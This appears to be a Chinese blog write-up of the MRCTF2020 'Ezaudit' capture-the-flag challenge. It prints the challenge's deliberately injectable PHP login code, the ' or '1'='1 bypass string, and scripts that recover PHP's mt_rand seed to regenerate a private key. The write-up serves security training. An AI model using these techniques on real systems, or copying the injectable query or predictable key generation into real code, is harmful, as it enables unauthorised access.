当前位置:网站首页>[MRCTF2020]Ezaudit
[MRCTF2020]Ezaudit
2022-07-30 16:43:00 【茶经新读.】
[MRCTF2020]Ezaudit

页面没有发现什么东西,点击各种按钮也没发现什么,dirsearch扫描一下发现了www.zip

下载下来解压得到一个index.php,查看获得源码
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???审计代码得知有login.html,想要登陆的话需要用户名、密码、密钥,并且用户名必须为crisper,密码可以随意输入但是不能为空,可以用万能密码' or '1'='1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 密钥的话,审计代码看到了mt_rand()和最下面的公钥KVQP0LdJKRaV3n9D,php伪随机数漏洞,先使用脚本爆出来随机数:
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
for j in range(len(str2)):
if str1[i] == str2[j]:
res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(res)![]()
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
然后用php_mt_seed爆出种子:

1775196155,然后就脚本生成私钥(要求php版本再5.2.1到7.0.x之间,PHP在线运行 - TOOLFK工具网):
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "<br>";
echo private_key();
?>
XuNhoueCDCGc,然后进入login.html
![]()


边栏推荐
猜你喜欢

论文阅读 (63):Get To The Point: Summarization with Pointer-Generator Networks

DTSE Tech Talk丨第2期:1小时深度解读SaaS应用系统设计

Qt 容器控件之Tab Widget 使用详解

大厂高管借钱炒股,亏到破产卖房。。。

Scheduling_Channel_Access_Based_on_Target_Wake_Time_Mechanism_in_802.11ax_WLANs

【SOC FPGA】外设KEY点LED

MySql统计函数COUNT详解

华为云数据治理生产线DataArts,让“数据'慧'说话”

数组和指针(2)

大厂面试官眼中的好简历到底长啥样
随机推荐
字符串加千分位符与递归数组求和
hcip--ospf综合实验
Is it reliable to work full-time in self-media?
onenote use
完美绕开CRC32检测的无痕hook
Discuz magazine/news report template (jeavi_line) UTF8-GBK template
Mysql进阶优化篇01——四万字详解数据库性能分析工具(深入、全面、详细,收藏备用)
如何快速拷贝整个网站所有网页
Chapter 6: Decisive Autumn Moves
[NCTF2019] Fake XML cookbook-1|XXE vulnerability|XXE information introduction
The first time I used debug query and found that this was empty, does it mean that the database has not been obtained yet?please help.
Go新项目-编译热加载使用和对比,让开发更自由(3)
Minio 入门
Public Key Retrieval is not allowed error solution
SocialFi 何以成就 Web3 去中心化社交未来
第5章 SQL高级处理
第六章:决胜秋招
[TypeScript] Introduction, Development Environment Construction, Basic Types
PHP message feedback management system source code
【SOC FPGA】Peripheral KEY LED